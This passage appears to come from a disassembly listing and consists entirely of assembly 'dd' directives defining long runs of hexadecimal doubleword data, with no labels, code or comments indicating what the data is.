		dd 24BE40DCh, 0DDC780D4h, 0D1CF6D61h, 88885118h, 684901D5h
		dd 64DA01F0h, 0A26F20CEh, 8E0CC048h, 745E200Bh,	1E581EBh
		dd 93F6BB4h, 20BEF66Eh,	48C2640h, 9D24AE95h, 27A96234h
		dd 0EAADD0DBh, 0EF60AF98h, 5D6C1961h, 11004C7h,	0B0594B0Ch
		dd 3F306858h, 897690Dh,	3C07749Dh, 18034AB5h, 172A5F9h
		dd 62FA58BEh, 0BCD0324Ch, 0E1388CE6h, 0F9B38204h, 68A286A8h
		dd 0A940216Ch, 80402890h, 28ED4806h, 46B074B7h,	8033BCEh
		dd 0C461CF73h, 0DB8E405Ch, 60AF3B49h, 81947997h, 2200E20Ah
		dd 0BD320240h, 0D16F4Bh, 46FA2F95h, 0EAE1931h, 606B6C3Ah
		dd 487DC590h, 7EB4ACDBh, 9D211196h, 80A8883Ch, 7DAD9ED8h
		dd 0F4098D19h, 4DAF03h,	1E967AA4h, 58D44C74h, 59988722h
		dd 1B5B9100h, 0A32986ECh, 0CE49C71Fh, 0E18C437Eh, 707FCBC9h
		dd 25000271h, 0ACF14C95h, 900766EAh, 5C98493Ch,	0DD096B80h
		dd 87D803h, 1B0963C4h, 0CA784408h, 0C5E0814Ch, 944096AFh
		dd 0D6464B70h, 0E968016Bh, 0FCA05778h, 0B0AC5042h, 0ED07CF33h
		dd 6A4DEAC7h, 971752D0h, 10694890h, 2EA8097Eh, 5C28491Bh
		dd 8FC911DCh, 0CF72C202h, 8C4769h, 0AC49DA8Dh, 0EA70964Eh
		dd 0AB662F28h, 8C28CB13h, 3E8AC01Dh, 92939415h,	971B8D01h
		dd 4462CE4Bh, 71DDA23h,	1CFAF84h, 8A205F62h, 1C6A49DFh
		dd 0C177677Ah, 0B3F6CF7h, 0F48E0453h, 85C0EF88h, 404A369h
		dd 0C1DF1ED8h, 0A90C8A7h, 0C5FAC0F1h, 94245F00h, 42591772h
		dd 17FEA8Dh, 0B66B5225h, 9451333Eh, 0E8A06780h,	3E1C8C5Eh
		dd 470580ECh, 78D0CB63h, 17DBA16h, 0EAD5D075h, 24986A45h
		dd 9F37910Ch, 19C5414Eh, 22F4C88h, 930AECC8h, 0C4E1EF10h
		dd 7E2B1869h, 386C1057h, 8098C8B6h, 0B458CF2Ch,	4705501Ah
		dd 0A3A7F2AFh, 9F428440h, 24A81890h, 0F7CA35h, 2B41D6A5h
		dd 0DA05785Fh, 81F53762h, 8CD330DCh, 70140876h,	0E3EC39CFh
		dd 9249808Bh, 829403F2h, 938C1859h, 4D9D930h, 0E0351C7Eh
		dd 2CED001Dh, 0B2FB8D5Fh, 0C81C7457h, 0CC0F37A1h, 176BE180h
		dd 4074E4F3h, 3F180495h, 92EB346Ch, 9330DC10h, 9D2611AEh
		dd 0A29E24h
		dd 0BAAD9BD9h, 1C73816Ch, 4BD7E400h, 527DA113h,	0A4E55C85h
		dd 8C51E8h, 6E138363h, 0CF8BD7A7h, 0E49874F2h, 0EEE93719h
		dd 9218DFA9h, 9ECDAE04h, 202DF09Ch, 30BAD54h, 83DDF429h
		dd 927FBA02h, 40906C0Ch, 7E8CDAD5h, 9ED01691h, 0D7443894h
		dd 0E4AD9900h, 5B464518h, 6ACC0753h, 6020AF16h,	0B050F84h
		dd 3DE47200h, 0ABB68064h, 1A2603A5h, 0B24740CFh, 580C7856h
		dd 16B310D8h, 69441B26h, 5411189Dh, 0AB1E7680h,	1B07BCDEh
		dd 45FE5E1Dh, 0E58C20ABh, 2EB56ED5h, 8380CC54h,	0FE433F01h
		dd 1C378826h, 0B8E2870Ah, 828E1CF6h, 0BEEE32h, 931355E3h
		dd 28096D0Fh, 99AB42C6h, 704BDB0Ch, 0CCC05288h,	0FE6801EAh
		dd 60DEF503h, 83BDF0ACh, 224C47C1h, 0A2200074h,	1626C6Ah
		dd 0E4CC7E45h, 0D77403E7h, 34A9E021h, 0CB7D85FFh, 0C9EFC844h
		dd 86D31C80h, 3B01B4EEh, 0AA4C5E41h, 282D855Ah,	8C50A8h
		dd 88C191A0h, 0BE68458Ch, 2707DCA8h, 5893E734h,	186220A3h
		dd 0EC08F8B7h, 1B470103h, 8104AF6h, 102E1FC8h, 8D465Eh
		dd 0F79917C7h, 2EE63F6h, 0A3450BF3h, 0E4B0AA18h, 0AB009C75h
		dd 0E20DFC81h, 9DC4793h, 63279F5Eh, 14988000h, 2E05BEA2h
		dd 13A04D64h, 0E0E68CC1h, 80C059FEh, 0BE7DAE45h, 0BF50587Bh
		dd 549914E8h, 9441FD8Ah, 0FAAF2A80h, 7A21D4Ch, 0FF519DD1h
		dd 0CD27C044h, 0E8481873h, 0CB1A7C00h, 41488404h, 21186BFCh
		dd 6C955704h, 9B32B808h, 58CD3620h, 37F00F31h, 92822793h
		dd 604D3920h, 21605EE4h, 0B409DF60h, 0C028739Eh, 120F6870h
		dd 0CCEEECABh, 29009358h, 0A72E3F57h, 698782Dh,	8E9F720Ah
		dd 0B01B116h, 0E5C1E901h, 5024A0A7h, 10350154h,	957ABAE2h
		dd 3DD2C832h, 21A52225h, 8F6545E4h, 1CDCF451h, 0D6399Eh
		dd 6DA3A24Bh, 2F4B1790h, 6BD37031h, 52A2E463h, 6F893C30h
		dd 6DC05AE6h, 0ECCF9AE3h, 15A8F8A3h, 4050246Fh,	0B50970A8h
		dd 11B63B7Fh, 7B199E58h, 0CCC77FA1h, 0FEC1F8E2h, 63B70969h
		dd 81CC00D0h, 34D5AD4h,	0DF4600B8h, 0BC99287h, 0AA0263B9h
		dd 0E71DCDF2h, 0B0A84C6Eh, 0D1D499F8h, 971853h,	6C784A7Fh
		dd 2A3E2DF0h, 4715A604h, 4888E904h, 231E4248h, 58D40062h
		dd 0B7C06C90h, 25C14486h, 7758FC02h, 0A1EC6717h, 8B181398h
		dd 2200C429h, 6DD5FCBCh, 0EA05E341h, 0C2CF9707h, 0AB0B407h
		dd 0A8C1EC30h, 0B0BF51F6h, 0E9AFC08Ch, 1F00AB61h, 8C5684CCh
		dd 13A542A7h, 0A1589694h, 0D58802E4h, 6ED80631h, 2C094FCFh
		dd 0DE07898Ch, 0F7D52049h, 67FD63h, 0E273A19h, 0AB29A0BEh
		dd 0BB2C3300h, 57B7083Ch, 61BD2564h, 0E631C19h,	0D6C05C88h
		dd 1D42162Eh, 93F8587Dh, 0E7F840F6h, 7826BA9Bh,	0B7857203h
		dd 0E2307E12h, 64C8A418h, 9258D260h, 11D06C23h,	0DA2F009Bh
		dd 74D64358h, 5901F295h, 20D4DC17h, 18C52B8h, 2CC8B92Dh
		dd 0C88AFF63h, 189173BEh, 6785D809h, 60544444h,	9C1150h
		dd 904E725h, 0A5C95E79h, 0C2FE34Eh, 0DB00AA23h,	0DA2A02EEh
		dd 6EC37016h, 7C40A083h, 0F634CB9Ch, 1392A8A0h,	9FE4BB54h
		dd 0E5606CF8h, 9E411218h, 3ED8D2D3h, 9D23CCh, 18C3F428h
		dd 91498CD6h, 5B750980h, 0AFA2006Dh, 6DFF3h, 0D6EB36B8h
		dd 171689B5h, 0CC035F5Ah, 24EED7A3h, 0B979E51h,	0C445C6C1h
		dd 181294E2h, 0AAC01CB2h, 0D9559A9h, 9E7D0317h,	0CB03E051h
		dd 2C805ED5h, 5FB1778h,	3AEBF58Ah, 5B23E4h, 676BA5A1h
		dd 0C9C0526Ch, 9879BF7Dh, 0F4C94877h, 46A88D28h, 91984067h
		dd 0B6286C14h, 0D92AB1A8h, 1107460h, 64E2F2A6h,	0E82D3C4Eh
		dd 1A027C2Fh, 457A6114h, 20526Dh, 91D79373h, 0FE84ECE0h
		dd 2C80FC3Dh, 4E071934h, 0B3BF6EEEh, 8E187821h,	0EFF96803h
		dd 21B89F5Fh, 1A08DD07h, 5E6005CBh, 0F0A25CC5h,	0FD3092F2h
		dd 255203ABh, 28FA8A83h, 25A118F9h, 0F872FA58h,	0CCE10300h
		dd 0C864271Ch, 39350228h, 921F2F01h, 51F7C50h, 31B3A4CCh
		dd 4F3F9048h, 75B0C942h, 76743CC1h, 0BC3D2EA8h,	8827F210h
		dd 0C2912C17h, 0D0A0B8C0h, 0EB0A35EAh, 10C0AF51h, 95C1CB00h
		dd 3ED42F9h, 8CE26237h,	0BD1CFD6h, 0E9F8C496h, 0AC162401h
		dd 8DC8739Fh, 4B788028h, 23682E7Ch, 7CEA00ADh, 5BA0856Bh
		dd 6234CF73h, 24C2E8AAh, 55C120E7h, 39C0FAA3h, 0E1A22E0Dh
		dd 2FA0B047h, 68243CE7h, 974609Dh, 9003250Eh, 0F9003416h
		dd 0DD2D096Ch, 1A60796h, 16D81347h, 6C457C6Fh, 4E22E0h
		dd 2B8265B5h, 4C5E9E3Ah, 0D2991B00h, 0FFE1C223h, 728B863h
		dd 787A2ADh, 0C045C9D4h, 0A96454E4h, 79E207B5h,	0D7A0C859h
		dd 2167B8Ah, 2885262Ah,	5850CF83h, 1C906F4Ah, 0C04A9891h
		dd 17650749h, 38B6E90Fh, 131C4902h, 0FCA880EEh,	99F1549Eh
		dd 1892D138h, 0D2A4003Fh, 6BF01F7Ah, 1B3040C1h,	0EC4559B0h
		dd 0B6803E6Ch, 2884E302h, 3072F3CFh, 0E81D9B29h, 100CC715h
		dd 7E26C0B7h, 70996724h, 3D7F7A5Ch, 3D28125h, 2D592104h
		dd 48A0A0E1h, 0B0BC6699h, 0C8902F00h, 0BBA213FFh, 0D2720046h
		dd 0DAD587A4h, 4B050551h, 0F04570ACh, 0B80B94E4h, 80AB0549h
		dd 0B637228Eh, 1C40B7C0h, 475B601h, 9EE3782Fh, 0B340D4E1h
		dd 30ADB260h, 0A40017B5h, 0E172A273h, 9CBB0F40h, 687B5ACCh
		dd 78F3FA50h, 842CF5ABh, 6C236100h, 0EA44EF3Fh,	5DE88BCh
		dd 5AC127EBh, 4C048A7Eh, 8CC7B8ACh, 5987901Ch, 0E81A2C41h
		dd 9466C1A4h, 3D200E00h, 64DE6738h, 0A0B7F002h,	9DCCEB3Bh
		dd 81501188h, 292737C0h, 0A1FC51F6h, 48C54BB4h,	0BF605B64h
		dd 7F71E23Dh, 475C6CB4h, 3DE900ADh, 45E7729Dh, 2F0916Ch
		dd 1CC380D4h, 313C8E4h,	5C928F97h, 11A85911h, 3A8800A1h
		dd 2B915F29h, 874C5C41h, 93E3BC00h, 59D2070Bh, 0DA709195h
		dd 0E8BC782Ch, 0BD001343h, 97536CCDh, 307D5537h, 9C505E00h
		dd 0E206240Fh, 96E001ACh, 0C968F14Ch, 0B8F1C638h, 4B189279h
		dd 0B0E8B80Fh, 45962003h, 99FDB146h, 28060008h,	0C14A1DC8h
		dd 0AE4F4300h, 0F65CE75h, 0E2D01D18h, 9B2D4113h, 2998607Bh
		dd 80614F68h, 27B487h, 253052A2h, 8F450351h, 0E17DA1ACh
		dd 89EA23F9h, 6784BF69h, 605E44F0h, 0B860EE96h,	0CE1B271Ch
		dd 0ACE7B0A2h, 0DFC43D07h, 3068C4F1h, 9B7DC9C4h, 14D380ECh
		dd 16771B20h, 0B05ED66h, 1880178h, 365C82E8h, 99040D78h
		dd 209D060h, 16700325h,	68C5005Ch, 536FCF09h, 0C4AC41B8h
		dd 2AA08709h, 1178BDB7h, 0FC029D5Fh, 62580473h,	91C89DCCh
		dd 60CE80AAh, 0FAF3C8BEh, 0BE947A73h, 132C08A0h, 6C4F0E87h
		dd 7088A325h, 0E1C64083h, 0A64223E4h, 0C0C58989h, 62609BE4h
		dd 7D398765h, 219713C4h, 7E4590D2h, 24E58594h, 43708D75h
		dd 84DD9757h, 438B32Ah,	4A5313F2h, 4FFDFCC1h, 0BC009C57h
		dd 0B833A97h, 89A6567Dh, 6899D4CEh, 1118AA71h, 3B6E4705h
		dd 64C17BDFh, 146C69EBh, 0C7D8814Bh, 0C8E04ABh,	3013EB84h
		dd 3AA36E1h, 82E3CA38h,	9D802B35h, 975AAC7Bh, 6DA5E040h
		dd 9015BEF6h, 9207h, 7F79DBD5h,	0CF74D0FCh, 0EE09103h
		dd 9DD71FB5h, 0E9A7E421h, 955DC100h, 9457922Ah,	3F17BF0Dh
		dd 60785819h, 8CB1E8h, 18CED536h, 65F92CB6h, 283E5603h
		dd 21A0A92h, 0DCD3B729h, 0D0D218E7h, 0B875E240h, 0AC6F20BCh
		dd 0AF743C09h, 8F1420ECh, 4F1D2Bh, 7FDDEEA9h, 9874717Bh
		dd 0E8F0144Ch, 124394h
		dd 0F34406A3h, 4932FB0Ch, 0BB02602Fh, 504B3F6Bh, 28272040h
		dd 100C1095h, 7AFF7D21h, 0D67A97h, 7084D001h, 3B5737CEh
		dd 5D3D9000h, 0AF65FFE7h, 0F0B9C092h, 96ED7828h, 25BDF900h
		dd 8C6401DEh, 0A3840479h, 40808D87h, 0AC4524CAh, 75E13D08h
		dd 280C9989h, 370A8078h, 0A01EA3D5h, 56739680h,	134AA93h
		dd 0F37B2F5Fh, 2C7E15CDh, 8CA6B850h, 0C39C4309h, 0E60D0ACh
		dd 0E69B0EEEh, 8C7A92h,	3196B9EDh, 30CB9C6Eh, 0A758AC4Ch
		dd 802EE15h, 1F9879C6h,	0A1F0CA9Ah, 4740EF3Ch, 8170013Bh
		dd 92E06F28h, 48F4A020h, 978F0362h, 52E37A55h, 9F44D2DCh
		dd 5FCBD882h, 0F0739D00h, 3E889EE3h, 5800AF2Fh,	726AD321h
		dd 7381B48h, 0A8C316C9h, 0C8D0B3C4h, 0CA73747h,	0FA7F18B9h
		dd 630CBA71h, 117DF9FEh, 52BD05E5h, 0C74AEE3Ch,	6485A96Ch
		dd 15B80844h, 0AED7AF83h, 7312C8Ch, 20951D14h, 4BCDC100h
		dd 0A5F0DB30h, 928470B5h, 0F581004Ch, 0DFAB642Eh, 0A4300F62h
		dd 9A9451A2h, 6DB6A007h, 0D1EC00E7h, 6BA35715h,	0D706F7F8h
		dd 99F67322h, 171409D8h, 6880725Dh, 1E76FB4Ah, 10F92A0Bh
		dd 1D3C207Fh, 8817E3h, 554DC585h, 910D9644h, 0BE8AC71Fh
		dd 0FC246F5Fh, 8DC32187h, 0F2586Ch, 0EFAF9651h,	5CC139B5h
		dd 0A14FA335h, 0A6C8ACCBh, 280867C0h, 783A0075h, 225F54D7h
		dd 2A4ABD37h, 0F98098DBh, 6D3CEEC4h, 8AE22204h,	70A6578Eh
		dd 8B982CE0h, 8600C891h, 0E423DE2Bh, 0A6670766h, 0E01033E7h
		dd 9EC5A26Ch, 885A0C92h, 92609440h, 16E5885h, 0FF522F6Ah
		dd 0FC87E326h, 0A813C959h, 0F0E019DEh, 6A4F0B89h, 60C0CC47h
		dd 9C013C12h, 0A5C168FCh, 547C4C77h, 0D3CB9D1Eh, 67F840B9h
		dd 0BEEC7EBBh, 5191301h, 0F87398D4h, 3C73006Ch,	0DD94AB38h
		dd 5AE12074h, 4CA4187Ah, 496B0C3h, 0A85B0F84h, 5A0E3830h
		dd 93231C2Fh, 9D04B300h, 0FEFB808h, 419E1780h, 68F1A129h
		dd 2174AC2Ch, 9A8013E8h, 4108FA9Bh, 0BEA40127h,	0E349AFFFh
		dd 462434F4h, 0CB20DC12h, 79F0B91Ah, 18E6791Ch,	1DDA3E41h
		dd 136C2893h, 73B8D242h, 12B8A47Eh, 98A4FC3Ch, 6B7200A2h
		dd 918609F3h, 7C7838BCh, 0A987302h, 71D80601h, 18C979C0h
		dd 8BF8005Dh, 0CF982AB6h, 9E2C55ADh, 9F40A018h,	0A2820873h
		dd 119C9D74h, 490280ACh, 0A0D7655h, 968CDDBBh, 5980BAC8h
		dd 363AB6Eh, 1902F39Ah,	0D2B07ABEh, 9478417Dh, 3F1CA010h
		dd 89506500h, 70B4E403h, 7AB707C1h, 0E1136CADh,	57EB76A0h
		dd 427EBA0h, 0C4D1E96Ah, 0F2185ED1h, 3DCC0802h,	0E8C8432Fh
		dd 0E9C2A860h, 6300D43Ch, 30450A9Ah, 899F92D7h,	0D1DCC37Ch
		dd 0B985956Ah, 2040FEDAh, 4FE74BE0h, 9EAFB705h,	0A8099508h
		dd 491C48FAh, 76DE21Eh,	0CB65B6AAh, 7386A305h, 0C86EC04Fh
		dd 1A3A3E18h, 38004649h, 0A6B664F8h, 0BE2C31Bh,	8D487380h
		dd 3474C412h, 0FE1E60A6h, 0B72D1ADFh, 0AA963888h, 0C1B0038Ah
		dd 0A0986D80h, 0B0961BC6h, 9F1388h, 505E5DB5h, 8CB851D3h
		dd 8090374Bh, 5AB18B6Fh, 84AC8E49h, 37301289h, 5D4CCB94h
		dd 0AF060408h, 8D0EBCACh, 952B29D8h, 469AA309h,	0D11C511Bh
		dd 7E1898h, 8D26A00Eh, 0BF53950Fh, 0EC476317h, 4DE250C1h
		dd 0CEA3EC40h, 0E08B4D6Dh, 0C7008022h, 2E915177h, 1F0C1D63h
		dd 9F0EA211h, 2411ED67h, 1D9F18D0h, 0A59ED2ADh,	0D58768E5h
		dd 0A950ADA7h, 0D911D4h, 5E3ECB61h, 4EE41695h, 52E9947Dh
		dd 0B8768880h, 9B284A87h, 57C08F37h, 7AE4BAA7h,	1E010182h
		dd 343E374Dh, 1B7C709Eh, 791F4F40h, 57033111h, 6AD7A379h
		dd 50CD85Fh, 7C971914h,	0B047F573h, 94969181h, 343D7425h
		dd 0D9B630B9h, 119D6D25h, 0F3C44FD4h, 0D8730CE5h, 15980AB4h
		dd 0BD750D84h, 3B119AA2h, 0AD23A02Fh, 78B4DD00h, 0E01273F0h
		dd 4EBE386Ch, 4024EBA4h, 98DF473Dh, 915C8E9Fh, 0A9C3007Fh
		dd 2A94E536h, 140552A5h, 0EF8CE07Fh, 0D4A23494h, 0D30E8F2h
		dd 0EFE300B6h, 3122BFADh, 99278310h, 0FD1443ABh, 62AC5048h
		dd 0C40AC997h, 3A8E208h, 997B0F1Bh, 0CE61938h, 109BEF47h
		dd 81CE02D7h, 5DE1B513h, 8DE4CCC5h, 0D5907360h,	72F3A501h
		dd 3C86414h, 139C52DAh,	296FCDBh, 0ED180B3Ch, 5C79E479h
		dd 0CF0C6418h, 0D0BEF710h, 272F1007h, 0AD0579F2h, 1CCCA383h
		dd 470B24B9h, 0B002F7D4h, 145ADB13h, 465EB4BEh,	0FC441DC4h
		dd 80940ECFh, 0DDC2613Ah, 41204E95h, 0CC14B06Ch, 1EC32FEh
		dd 11CFE84Ch, 0EFE0A745h, 1B922483h, 59F4344h, 7573FC80h
		dd 0FB2DB101h, 153D9290h, 56C17810h, 64222B2Ch,	3F5B4674h
		dd 208D25E6h, 0D3B4DB1Ch, 0A536011Eh, 2BC0C9Eh,	1946D827h
		dd 9E642E3Dh, 0A38CE6D2h, 129D69F9h, 0A081DCD3h, 304B6F4Ch
		dd 48427405h, 988838CEh, 0C3235FC1h, 78F1ACCh, 0E3C185D9h
		dd 418718A2h, 2230D76Dh, 0DFF7B6h, 655D4B7h, 0A04F4EEEh
		dd 7B458404h, 40E27F54h, 9230ACE2h, 0FC9A0F93h,	0D53D120Dh
		dd 0BA83B439h, 5BE079D5h, 961A2114h, 6FB8B9A7h,	0FAB340C0h
		dd 0D23ABA60h, 0FCF5A80Eh, 84441A45h, 4C848C14h, 0B19E02FEh
		dd 0DC19A7A3h, 3C00DCE0h, 0C47EF0CEh, 154389B9h, 0DC74D314h
		dd 0F7AD0B09h, 1B70A453h, 0BB650134h, 83C59952h, 300B3161h
		dd 1E13152Ch, 40A263F4h, 8ED6E200h, 0B696C844h,	0E0C9CF12h
		dd 0B1F250F2h, 0E0B5130h, 0DDA214BFh, 0A1ECA800h, 0CB7E48CFh
		dd 1FBCA29Fh, 0A22E009Ah, 0B579DB2Ch, 8B69F26h,	7804C064h
		dd 0F2DCF2E5h, 6BA43097h, 8F6D6802h, 64C2A101h,	73C813ACh
		dd 0F850F0C0h, 0E820385Ch, 0FE008C9Dh, 0CFA61694h, 2469CBA2h
		dd 2E700457h, 7F7FDC58h, 0A83B5Ch, 76C8CE99h, 0B28B6A45h
		dd 97071CC8h, 38C8AFB3h, 0C3052A7Dh, 72ED6E92h,	0B8646C10h
		dd 91008CC4h, 0DF3874Fh, 1D4725FCh, 8045D3C8h, 9D2D3477h
		dd 6C90A009h, 5DC46C85h, 0C04D7A60h, 0DB9C9D04h, 689D8F74h
		dd 16A8E07Dh, 957AFB09h, 0A0D0F221h, 903D0220h,	0D0CC996Ch
		dd 1861297h, 16332B3Dh,	2FFEC930h, 61145840h, 0EE59C54Fh
		dd 86DF1257h, 0AD9C0103h, 7E6BFD67h, 4EFC3404h,	0FC80750Dh
		dd 0E46AED9Ah, 7087840h, 3077131Ch, 85B0CB1Ch, 584B6A80h
		dd 54E8A015h, 0F9E3008Ch, 93C03552h, 455C8721h,	0B0761010h
		dd 49EEED1Eh, 90A1AB6Bh, 742B9AE7h, 19052E18h, 0A3BE0853h
		dd 2070B492h, 0A50F460Bh, 2C9C154Ch, 0DB42B4DEh, 10F48126h
		dd 6080C3D3h, 0D1DE2F41h, 925A0E6h, 1748208Dh, 1287D75h
		dd 0BF1157F1h, 0FCB32A21h, 6900523Bh, 0DD2B7FCBh, 48DC73FEh
		dd 3075C0F8h, 48D821F3h, 715A3E9Eh, 8C7A183Eh, 0F440E700h
		dd 0C8580A99h, 0FD9A150Ch, 0DB4F9C95h, 9AD38014h, 0EA9987C3h
		dd 0F4A0A2CCh, 8F174004h, 300574Eh, 7B643C37h, 13BB119Ch
		dd 0E6540150h, 0FDA0E014h, 93B9003Fh, 0EF5C0911h, 0BA3B4645h
		dd 9C12AC9Eh, 0B1798C21h, 0C91F4618h, 0FB0737D3h, 0CB2551D5h
		dd 181F58E3h, 0DE04CFB6h, 1D9E80FDh, 0FEF5A48Eh, 0B74B39h
		dd 0A1136B92h, 4FCB5B2Ah, 78388014h, 0F65CE82Fh, 8C9BE8C4h
		dd 78E02B00h, 2C83D77Bh, 0A5C13823h, 903F4709h,	52A86440h
		dd 7C128CBEh, 9991A042h, 0C198A086h, 0B28F16A8h, 43984228h
		dd 3053A2F4h, 13000C95h, 5018F5D5h, 25104C26h, 86A119Eh
		dd 2E4084FCh, 1ED5DFBh,	0C5C60565h, 0DC311B23h,	2F0B90DDh
		dd 32FC2AA9h, 0FA9C8D70h
		dd 6B28A984h, 54233EF1h, 2946D00h, 1391D0C2h, 0B01A37h
		dd 28F41F80h, 0E607450Bh, 614E6511h, 8D7415F0h,	9A20059Eh
		dd 0A098CBBDh, 6716144Ch, 0E8B00B3Fh, 99BC40A7h, 9F5E0402h
		dd 720391BDh, 0A8755C04h, 0E0C5BF00h, 0D31D2528h, 9C008C5Eh
		dd 916A83B2h, 5AFDF26Dh, 0F2DC0323h, 96D8A474h,	6F00BD5Dh
		dd 4BE3E033h, 0F995D2h,	59FD7350h, 0FBB5F4CFh, 361E3C01h
		dd 18B056D8h, 745FD8D7h, 0FD1C3D15h, 85EF7E01h,	0FCA92CC4h
		dd 454E4953h, 0E6AC38E4h, 5FE039C1h, 581D7B04h,	8C53BB97h
		dd 858A00EFh, 0EB4598D3h, 27F5A603h, 0A05C6F2Eh, 331E0C8h
		dd 26B65303h, 30D8B3DEh, 0EA00458Ch, 9B3E5F6Ch,	70581FE8h
		dd 72A3000Bh, 29F6BE3h,	84034A81h, 0ADA05497h, 0C5281F35h
		dd 3A798017h, 4FAFEE86h, 93BD9000h, 33F8D77Eh, 0D20D001Dh
		dd 29B7B8Fh, 0B6000A53h, 0D6F5D80Bh, 6E31D9h, 0FB68DAC9h
		dd 0EB46D3DBh, 2F015DB8h, 9D3E1086h, 5FC834D9h,	0FCE800B1h
		dd 4E93B8BFh, 320024D4h, 254F2869h, 186D9CBh, 0FF68230Fh
		dd 52906009h, 98B007E0h, 0AE002022h, 0B005DE39h, 7EF7FFh
		dd 0AF1C5B67h, 0E3915596h, 159A40C4h, 40FA7547h, 1FD57DBAh
		dd 30D92830h, 4A2AC672h, 38B0E00Eh, 58F55D03h, 0F8B01949h
		dd 0C885F2h, 76D7934Eh,	9C0E9711h, 0EF20B300h, 0F188ACDh
		dd 122EE81Dh, 411A29h, 0DAB73CA9h, 0D9502217h, 4A002D68h
		dd 5783FE0Ch, 0FACA66h,	9D21B468h, 24462B60h, 81D8C600h
		dd 7996BDCCh, 0BBF0036h, 0F19D4238h, 0AC01539Eh, 6F6A4F15h
		dd 702028BCh, 0AEC400A8h, 0EF3E5C43h, 0BE0024B7h, 12F0C764h
		dd 1294F68Fh, 190AA08h,	47F1D8A7h, 0E019E5AEh, 0FD002BDFh
		dd 38B80D64h, 2D58534h,	624F1A05h, 9C8021CCh, 0DBED4348h
		dd 2CAFCD1Eh, 0A44012D2h, 7FC91F97h, 84D1D79h, 0E69FBCh
		dd 789587E0h, 0BA075B70h, 564A1A5Fh, 0DAF5500h,	0AB2E898h
		dd 216B9C9Bh, 0BB7B81BCh, 30290393h, 0F5B40D25h, 0D8A7E906h
		dd 590FA20h, 0BDB363CCh, 0F38580EFh, 130E9315h,	0E0A3042Ch
		dd 286A3960h, 4DB0C5F5h, 0B8F44A6Fh, 9284B998h,	0BEAB2BCDh
		dd 1AF2E801h, 618274AFh, 2FB81343h, 3EC87C40h, 30840702h
		dd 80D240AEh, 687CB0A8h, 0FFB90948h, 0E47611DAh, 472E7840h
		dd 9D313024h, 169C5541h, 0AA0076ECh, 59DBB25Fh,	38FE350h
		dd 9EBD983Dh, 33988554h, 0C00119BAh, 73E1083Fh,	31072C5Ah
		dd 80DAD11Ch, 50A09198h, 0C0E6E4B7h, 24DC34B9h,	233099C3h
		dd 0CF6130D0h, 376E00D4h, 0FF50965Ah, 0A000A235h, 0A84943Fh
		dd 4566Bh, 3EE0643Bh, 7BCB7C43h, 3394C450h, 9B157D04h
		dd 14F4F8E6h, 31ACFAFAh, 9361F5C9h, 461DF054h, 0A7BD9D00h
		dd 48706C43h, 23FB0073h, 928F2678h, 4900EAACh, 0CDBC8E41h
		dd 0AFD7E0h, 0A440CAB8h, 4754FCB1h, 33670B00h, 2CA0D069h
		dd 8C413824h, 0AC58E913h, 28C90C68h, 0F3E9A8h, 0EB518527h
		dd 7CCD8064h, 61895C00h, 722E4B25h, 43DE03FCh, 0B2AEF8BAh
		dd 99E228F0h, 88009498h, 2EC2C593h, 587C9Fh, 6880A570h
		dd 0E29A0B56h, 5F0F2100h, 0B330FE51h, 0CF6F0F4Ah, 55C06BFCh
		dd 77608487h, 0AD6E7603h, 99A27Fh, 0A958149h, 37F90F7Ah
		dd 18772FB0h, 0EA887900h, 82AD0C73h, 3B5F1EE7h,	156F0060h
		dd 41EED09Ah, 8B07400h,	39555AD2h, 0C2590078h, 0C1D1D8ECh
		dd 0E00E4C5h, 0D2B9B3B2h, 4C9B0B07h, 871E402Dh,	0C1690AF2h
		dd 0CB2780CCh, 25CDF5E6h, 7D00D0AEh, 4E927A77h,	58FBE67h
		dd 0EE9001B8h, 0D68C40B4h, 9F05B6BFh, 0BBB56600h, 5965D411h
		dd 356F1898h, 0CBD987Ah, 9C486D00h, 51B990BCh, 169B18DAh
		dd 14982120h, 9C723017h, 0D927300h, 0FFB4D3Fh, 128C8FE9h
		dd 25AB0017h, 0B3B856C4h, 6C80B205h, 4483684Bh,	0EFBB90B6h
		dd 0CBCF864h, 0E1FA7873h, 0E0082E0h, 86D2703Eh,	0FB383E8h
		dd 8C05990Bh, 80E05E52h, 4AE2B4EFh, 0A31E60C9h,	50E759B5h
		dd 11F00E4h, 0DD8FFB1Ah, 0D149BB55h, 6DA90524h,	0D880F0DBh
		dd 0E2D7FE58h, 3E0A0052h, 186E562Dh, 8E58D996h,	2A230A54h
		dd 7000A437h, 2F76CCF0h, 67A8FC83h, 0F08616B0h,	7CF9737Bh
		dd 222A9601h, 0D581ACF3h, 0E55440D6h, 0E2261809h, 8E0B16Bh
		dd 893BFB00h, 0B988F762h, 0D18C2478h, 319D8060h, 36D72C5Eh
		dd 6740DC13h, 7147481Fh, 75E429C9h, 3800C7C5h, 98A27054h
		dd 0FF76009Eh, 562A827h, 0AE006C1Eh, 51C2B2C5h,	59A987h
		dd 0AD74E5BFh, 88366212h, 41A40200h, 3533F55Bh,	603A0065h
		dd 0CAD1770Ch, 0B70FCD28h, 62487C93h, 7DBED324h, 996854A0h
		dd 0F600EE94h, 79CDFAF4h, 2C8298Fh, 458644E1h, 7CC0E39Ah
		dd 88008191h, 0E54A8516h, 97B22Eh, 0E9036925h, 11E4BD83h
		dd 70C18700h, 9168E077h, 0EA97FFCh, 0FEF2E5FBh,	0B21EC300h
		dd 4200ADDFh, 5638DE4h,	10CA73h, 9CCB6BA7h, 78AEE349h
		dd 4113DAE6h, 0D4ECD8D1h, 93FDB412h, 0BF84A12Ch, 20C2902Eh
		dd 8757357Fh, 6EFF0F0h,	3C113B77h, 5508B680h, 0E80013F5h
		dd 0A3A29EB7h, 0EB4E1D58h, 6BB9C0D5h, 1966E54h,	0EC12B0E2h
		dd 98FD4064h, 0C0985F7Eh, 75938158h, 64956900h,	7A46DEB5h
		dd 319E00D0h, 549F21EDh, 0AAF0DAF1h, 204A6328h,	0C8973F90h
		dd 18907664h, 501694B6h, 0DE776B9Eh, 60100E50h,	9B1C7E50h
		dd 28F1FC00h, 887F10FDh, 471D1D12h, 90ECC0C0h, 7CBAF71Ch
		dd 0C85F5030h, 0B55985h, 0AAC0AC84h, 0C9CC3E36h, 0F5DDEE13h
		dd 58A15800h, 77F9AE7h,	44F4E93Ah, 64278059h, 921F4CCCh
		dd 0D90F416Bh, 0F2C09EEEh, 0EC80C0FCh, 0D440017h, 96AB0BF4h
		dd 0B4387B66h, 0B703001Eh, 85FE98BFh, 86230575h, 8024B648h
		dd 88632DC1h, 626E0A00h, 0E640F039h, 0EDD500BAh, 0EC1C7E09h
